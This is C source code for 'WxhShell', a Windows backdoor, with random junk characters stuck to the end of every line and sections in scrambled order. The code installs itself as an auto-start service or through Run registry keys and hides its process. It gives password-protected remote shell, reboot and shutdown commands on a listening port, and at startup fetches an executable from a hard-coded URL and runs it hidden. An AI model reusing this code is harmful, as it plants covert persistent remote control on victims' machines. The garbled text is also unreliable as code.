ULONG InheritedFromUniqueProcessId; ijT^gsLL
} PROCESS_BASIC_INFORMATION; ~'Hwszpb
.4-S|]/d,
PROCNTQSIP NtQueryInformationProcess; IrK )N
ng\S%nA&J
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
D-/A>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^B>6!
&'j77tqOk
HANDLE hProcess; [ ff.R
PROCESS_BASIC_INFORMATION pbi; q2Dg~et
MsiSC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #YV;Gp(2h
if(NULL == hInst ) return 0; g [K8G
owB)+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (n G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $1F9TfA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TW$^]u~v
>U].k8a)
if (!NtQueryInformationProcess) return 0; ]y/:#^M+
^ +G> N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [VHt#JuN,
if(!hProcess) return 0; +yk>jx
/6fs h7 \
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4D5)<3N=d'
0!T $Ef
CloseHandle(hProcess); `K.yE0^i
]](hwj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iW)Ou?aS
if(hProcess==NULL) return 0; 92R{V%)G
r0,}f\
HMODULE hMod; n$8A"'.M
char procName[255]; >{[J+f{~|
unsigned long cbNeeded; [?A0{#5)8x
'DPSM?]fA
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GbhaibkO
d4U_Wu&
CloseHandle(hProcess); $0
)K [K
uQ}kq7gd
if(strstr(procName,"services")) return 1; // 以服务启动 Zv_<*uzKZ
5 X rn]
return 0; // 注册表启动 pE#0949
} H'0S;A+Y6
2zAS
\Y
// 主模块 !q?}[E2
int StartWxhshell(LPSTR lpCmdLine) 8GX@76o
{ fjf\/%
SOCKET wsl; >dO^pDSs
BOOL val=TRUE; o_S8fHqjt
int port=0; {|50&]m
struct sockaddr_in door; .nnAI@7E
mOBS[M5*
if(wscfg.ws_autoins) Install(); #Uo
9BM
X#fI$9a
port=atoi(lpCmdLine); 2X:n75()
(_D#gr{S=
if(port<=0) port=wscfg.ws_port; FRr<K^M
F C"dQ
WSADATA data; )Fbkt(1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @uHNz-c
Z^b1i`v
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^K8Ey#T
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k&^f Iz
door.sin_family = AF_INET; %*,'&S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); k;]&`c^5
door.sin_port = htons(port); +=*ZH`qX
u(P
D+Gz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XWk^$ "
closesocket(wsl); oY &r76
return 1; V`G]4}
} yzYPT}t
N(Cfv3{
if(listen(wsl,2) == INVALID_SOCKET) { 6g)21Mh#
closesocket(wsl); m}k rG
return 1; ZJS7#<-7o
} \'shnzs
Wxhshell(wsl); ;s{rJG{inG
WSACleanup(); SH"O<cDp
x.!%'{+{
return 0; 4Vh#Ye:`
z.FO6y6L
} r@ ]{`qA
Rc @p!Xi
// 以NT服务方式启动 %1S;y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8^2Q ~{i
{ v]BN. SHE_
DWORD status = 0; JPRl/P$
DWORD specificError = 0xfffffff; zbrDDkZ1
Go8 m
serviceStatus.dwServiceType = SERVICE_WIN32; >Qr(#Bt)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .:E%cL
+h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @xR=bWY
serviceStatus.dwWin32ExitCode = 0; c&ymVB?G:1
serviceStatus.dwServiceSpecificExitCode = 0; qn:3s
serviceStatus.dwCheckPoint = 0; JS}iNS'X
serviceStatus.dwWaitHint = 0; Ahm*_E2E
Q!WXFS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n1X 7T0'
if (hServiceStatusHandle==0) return; /g@!#Dt
rz5AIe>Hm
status = GetLastError(); SRyAW\*LWU
if (status!=NO_ERROR) O1Vs!
{ X&b)E0]pR
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ny\p$v
"p
serviceStatus.dwCheckPoint = 0; "6o}g.
serviceStatus.dwWaitHint = 0; bejvw?)S.
serviceStatus.dwWin32ExitCode = status; f!AcBfaLr
serviceStatus.dwServiceSpecificExitCode = specificError; ~"xc
3(h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {wVj-w=<W
return; jt=%oa
} < j^8L^
5=(fuY3
serviceStatus.dwCurrentState = SERVICE_RUNNING; `ZhDoLpH<
serviceStatus.dwCheckPoint = 0; {oOzXc6o
serviceStatus.dwWaitHint = 0; [,JUC<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'W(!N%u
} Gf*|f"O
_HjS!(lMk
// 处理NT服务事件,比如:启动、停止 KPTp91
VOID WINAPI NTServiceHandler(DWORD fdwControl) _P,3~ ;
{ -*HR0:H
switch(fdwControl) UaG
})
{ -k(bM:
case SERVICE_CONTROL_STOP: Qu]F<H*Y|
serviceStatus.dwWin32ExitCode = 0; `3GYV|LeQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Cm+xAXG
serviceStatus.dwCheckPoint = 0; f_'#wc6
serviceStatus.dwWaitHint = 0; J%r$jpd'
{
vf}.)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w\SfzJN
} ?9W2wqN>o
return; ?Pbh&!
case SERVICE_CONTROL_PAUSE: oQ
YmywY
serviceStatus.dwCurrentState = SERVICE_PAUSED; nz+k ,
break; A43 mX!g\
case SERVICE_CONTROL_CONTINUE: 'z\$.L
serviceStatus.dwCurrentState = SERVICE_RUNNING; t:$^iUrx
break; ~&{LMf
case SERVICE_CONTROL_INTERROGATE: NW?.Ge.!P
break; ):<9j"Z;At
}; N./l\NtZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T'8d|$X
} `!- w^~c
W[BwHNxyg
// 标准应用程序主函数 h_*!cuH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;cpQ[+$nKp
{ Wks?9)Is
LeEv']
// 获取操作系统版本 D^dos`L0b
OsIsNt=GetOsVer(); L>@:Xo@
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3]MSS\uB
<?h,;]U
// 从命令行安装 &GKtD)
if(strpbrk(lpCmdLine,"iI")) Install(); <36z,[,kZ@
F4:giu ht
// 下载执行文件 nA1059B
if(wscfg.ws_downexe) { 6v1F.u
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iCXKi7
WinExec(wscfg.ws_filenam,SW_HIDE); Tup2;\y
} /k_?S?
)y#~eYn
if(!OsIsNt) { og$%`o:{
// 如果时win9x,隐藏进程并且设置为注册表启动 u*"mdL2
HideProc(); SJ0IEPk
StartWxhshell(lpCmdLine); Yt3+o<
} =CqZ $
else (?W[#.=7
if(StartFromService()) G?$0OU
// 以服务方式启动 a@?2T,$
StartServiceCtrlDispatcher(DispatchTable); ?yNg5z
else gR#lRA/
// 普通方式启动 g#}a?kTM@
StartWxhshell(lpCmdLine); f%gdFtJ &
31*0b|Z
return 0; ~tM+!
} {vf4l4J(
rEfo)jod
>Y>>lE!
k
aMq|xHZ
=========================================== ^hy Y,X
6 {j}Z*)m
~k[mowz0
B\mRHV!
G[4$@{
r0'6\MS13
" |f}1bJE+
nMT"Rp
#include <stdio.h> lXnzomU
#include <string.h> xZc].l6
#include <windows.h> #=V[vbTY
#include <winsock2.h> \LbBK ~l-I
#include <winsvc.h> ?P>3~3 B
#include <urlmon.h> >u=Dc.lX
>JUOS2
#pragma comment (lib, "Ws2_32.lib") tA{B~>
#pragma comment (lib, "urlmon.lib") ]ur_G`B
8?z7!k]
#define MAX_USER 100 // 最大客户端连接数 /t=Fx94
#define BUF_SOCK 200 // sock buffer %Ix
#define KEY_BUFF 255 // 输入 buffer kH|cB!?x
!=SBeq
#define REBOOT 0 // 重启 Z6\H4,k&
#define SHUTDOWN 1 // 关机 +ebmve \+
P+2@,?9#
#define DEF_PORT 5000 // 监听端口 L[rxs[7~
A.wuB
#define REG_LEN 16 // 注册表键长度 ,B8u?{O
#define SVC_LEN 80 // NT服务名长度 %}/ |/=
?j^:jV
// 从dll定义API zg+6<
.Sf
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6(=>!+xpRr
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2, R5mL$
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lFT`
WO
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qC:QY6g$N
!L?diR
// wxhshell配置信息 /_{B_2i/>
struct WSCFG { {,Z-GJ
int ws_port; // 监听端口 LAjreC<W
char ws_passstr[REG_LEN]; // 口令 :JD*uu
int ws_autoins; // 安装标记, 1=yes 0=no sn-P&"q
char ws_regname[REG_LEN]; // 注册表键名 fMluVND
char ws_svcname[REG_LEN]; // 服务名 $Si|;j$?
char ws_svcdisp[SVC_LEN]; // 服务显示名 `c.P`@KA
char ws_svcdesc[SVC_LEN]; // 服务描述信息 +JlPQ~5
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HY>zgf,0
int ws_downexe; // 下载执行标记, 1=yes 0=no {"WfA
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,
aJC7'(
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +.pri
~/l5ys
}; rF\L}& Sw
Rn9e#_ Az
// default Wxhshell configuration ~pWV[oUD
struct WSCFG wscfg={DEF_PORT, ]9hXiY
"xuhuanlingzhe", DNu-Ce%
1, 7 <<`9,
"Wxhshell", /L^pU-}Z0
"Wxhshell", @wPyXl
"WxhShell Service", .g?Ppma
"Wrsky Windows CmdShell Service", 5[0W+W
"Please Input Your Password: ", M'5PPBSR
1, 35 d:r:
"http://www.wrsky.com/wxhshell.exe", Y{D?&x%yq
"Wxhshell.exe" (U([T -H
}; PfjD!=yS=h
sDl@
// 消息定义模块 ##5e:<c&[
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 32z2c:G
char *msg_ws_prompt="\n\r? for help\n\r#>"; }P\ J?8
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,"U|gJn|^
char *msg_ws_ext="\n\rExit."; .Ge`)_e
char *msg_ws_end="\n\rQuit."; %v)+]Ds{
char *msg_ws_boot="\n\rReboot..."; ["0DXm%t
char *msg_ws_poff="\n\rShutdown..."; `;)op3A'
char *msg_ws_down="\n\rSave to "; M~l\rg8
]=G dAW
char *msg_ws_err="\n\rErr!"; K_GqM9
char *msg_ws_ok="\n\rOK!"; oCSJ<+[(C
yF@72tK
char ExeFile[MAX_PATH]; AB=Wj*fr
int nUser = 0; Y$0K}`{
HANDLE handles[MAX_USER]; -7u_ \XFk
int OsIsNt; KMP[Ledr
W(o#2;{ln
SERVICE_STATUS serviceStatus; t*wV<b
SERVICE_STATUS_HANDLE hServiceStatusHandle; }iRRf_
r1a/'+
// 函数声明 (nAg
~i
int Install(void); %TYe]^/'y
int Uninstall(void); @m+FAdA 0
int DownloadFile(char *sURL, SOCKET wsh); qk=OodEMK
int Boot(int flag); 1xj w=
void HideProc(void); UHS{X~CS
e
int GetOsVer(void); U.c~l,5%"
int Wxhshell(SOCKET wsl); =VGRM#+D
void TalkWithClient(void *cs); 9)J)r\
int CmdShell(SOCKET sock); paZcTC
int StartFromService(void); C]M{
int StartWxhshell(LPSTR lpCmdLine); sWFw[Y>
qJK-HF:#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EfqC_,J*3
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4%*`'o$_
,
%A2wV
// 数据结构和表定义 g-<[* nF
SERVICE_TABLE_ENTRY DispatchTable[] = 7-MyiCt
{ J~lKN
<w
{wscfg.ws_svcname, NTServiceMain}, 3Y=uBl
{NULL, NULL} Ns6CxE9
}; &Vbcwv@
# 66vkf*
// 自我安装 NT<}-^
int Install(void) dF'oZQz
{ /Y8{?
char svExeFile[MAX_PATH]; X;d 1@G
HKEY key; /JmWiBQIn
strcpy(svExeFile,ExeFile); #Kt5+"+7
3$PGLM
// 如果是win9x系统,修改注册表设为自启动 ]]/p.#oD,
if(!OsIsNt) { W{nDmG`yp
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iJzW3%E
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PjkjUP
RegCloseKey(key); D`NQEt"(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a]=j
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !L@^Zgs|@?
RegCloseKey(key); CM
8Ub%
return 0; "2GssBa
} J>^KQ
} ty b-VO
} -bp7X{&
else { Z'_EX7r
s`o_ER
// 如果是NT以上系统,安装为系统服务 ju(QSZ|;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gkld}t*U
if (schSCManager!=0) s3oQ( wC %
{ H)NT2@%{P
SC_HANDLE schService = CreateService B8 R&Q8Q
( Te@=8-u-
schSCManager, leO..M
wscfg.ws_svcname, #&&
wscfg.ws_svcdisp, $GX9-^og=T
SERVICE_ALL_ACCESS, ,{sCI/
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )k&!&
SERVICE_AUTO_START, p"o_0{8
SERVICE_ERROR_NORMAL, e18}`<tW-
svExeFile, c8M'/{4rH
NULL, qh/}/Sl;
NULL, A IsXu"
NULL, -+&sPrQ
NULL, >UBozmF=\
NULL H05U{vR
); I2*\J)|f
if (schService!=0) @1+({u#B
{ $s!2D"wl n
CloseServiceHandle(schService); 8?&!@3n
CloseServiceHandle(schSCManager); /PgcW
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gshgl3
strcat(svExeFile,wscfg.ws_svcname); Gcd'- 1
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {%XDr,myd
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rWxQ;bb#
RegCloseKey(key); AOR(1Qyo
return 0; +BkmI\
} TZ]o6B b
} TW~9<c
CloseServiceHandle(schSCManager); +4m~D`fqt[
} 4%,E;fB?=
} GB`
G(a
0j(/ N
return 1; gukKa
} ewp&QH4
ff.;6R\
// 自我卸载 Kf'oXCs
int Uninstall(void) aW7)}"j4
{ H<bB@(i
HKEY key; ad'C&^o5
sboX<
if(!OsIsNt) { /GMT
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <jHo2U8/"s
RegDeleteValue(key,wscfg.ws_regname); FvV:$V|
RegCloseKey(key); LSW1,}/B
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LGF5yRk
RegDeleteValue(key,wscfg.ws_regname); <t)D`nY\
RegCloseKey(key); \1cJ?/$_Of
return 0; ieG%D
HN
} 'n0u6hCSb
} T{Y;-m
} [SX>b"L
else { ,]qTJ`J
DSc:>G
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k\`~v$R3
if (schSCManager!=0) ={gf x;
{ 6;vfl*
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x cA5
if (schService!=0) QocR)aN=+
{ 2/ v9
if(DeleteService(schService)!=0) { % C.I2J`_
CloseServiceHandle(schService); !e0~|8
CloseServiceHandle(schSCManager); KG8Km
return 0; GI$7uR}
} ^E349c-|
CloseServiceHandle(schService); v6q oH)n
} tsvh/)V
CloseServiceHandle(schSCManager); t?<pyw $
} A9L
{c!|-
} y o
|"-
:Lze8oY(D}
return 1; >p|tIST
} N5\]VCX
V'jvI
// 从指定url下载文件 smTPca)7s
int DownloadFile(char *sURL, SOCKET wsh) ,U^V]jC
{ >p;cbp[ht
HRESULT hr; TowRY=#jiS
char seps[]= "/"; N|53|H
char *token; _Nmc1azS
char *file; WY 'QhieH
char myURL[MAX_PATH]; F vt5vQ
char myFILE[MAX_PATH]; G34fxhh
>^5UXQr
strcpy(myURL,sURL); DcL;7 IT
token=strtok(myURL,seps); =2rkaBFC
while(token!=NULL) TCI%Ox|a
{ B(TE?[ #
file=token; !9ytZR*
token=strtok(NULL,seps); 1FfSqd
} 9C_Vb39::$
\2Atm,#4
GetCurrentDirectory(MAX_PATH,myFILE); g4-UBDtYt
strcat(myFILE, "\\"); "q,.O5q}Y
strcat(myFILE, file); :G\X
send(wsh,myFILE,strlen(myFILE),0); 5U!yc7eBI/
send(wsh,"...",3,0); 4gkaCk{]
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V+'C71-P
if(hr==S_OK) N&]GPl0
return 0; B
!}/4"
else /3`(Ki{
Q
return 1; [zv@}@$
v3q.,I_
} .Fe_Z)i>h
V^[B=|56
// 系统电源模块 <